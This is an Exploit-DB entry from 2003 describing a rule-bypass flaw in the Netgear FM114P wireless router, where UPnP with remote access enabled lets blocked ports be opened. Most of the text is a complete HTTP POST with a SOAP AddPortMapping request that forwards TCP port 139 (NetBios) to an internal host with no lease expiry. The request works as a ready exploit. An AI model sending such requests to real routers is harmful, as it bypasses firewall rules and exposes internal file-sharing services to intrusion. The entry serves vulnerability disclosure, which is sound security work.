Netgear FM114P ProSafe Wireless Router Rule Bypass Vulnerability

2003-04-03T00:00:00
ID EDB-ID:22455
Type exploitdb
Reporter stickler
Modified 2003-04-03T00:00:00

Description

Netgear FM114P ProSafe Wireless Router Rule Bypass Vulnerability. Remote exploit for hardware platform

                                        
                                            source: http://www.securityfocus.com/bid/7270/info

The Netgear FM114P allows certain ports to be blocked, both for external users attempting to enter the local network and for local users connecting to the WAN. If Remote Access and Universal Plug and Play are both enabled on the WAN interface, a UPnP SOAP request can cause a connection to be intitiated through a port that is normally blocked. 

POST /upnp/service/WANPPPConnection HTTP/1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping"
User-Agent: Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)
Host: 192.168.0.1
Content-Length: 1123
Connection: Keep-Alive
Pragma: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string"></NewRemoteHost>
<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">139</NewExternalPort>
<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">TCP</NewProtocol>
<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">139</NewInternalPort>
<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">192.168.0.6</NewInternalClient>
<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="boolean">1</NewEnabled>
<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">NetBios</NewPortMappingDescription>
<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui4">0</NewLeaseDuration>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>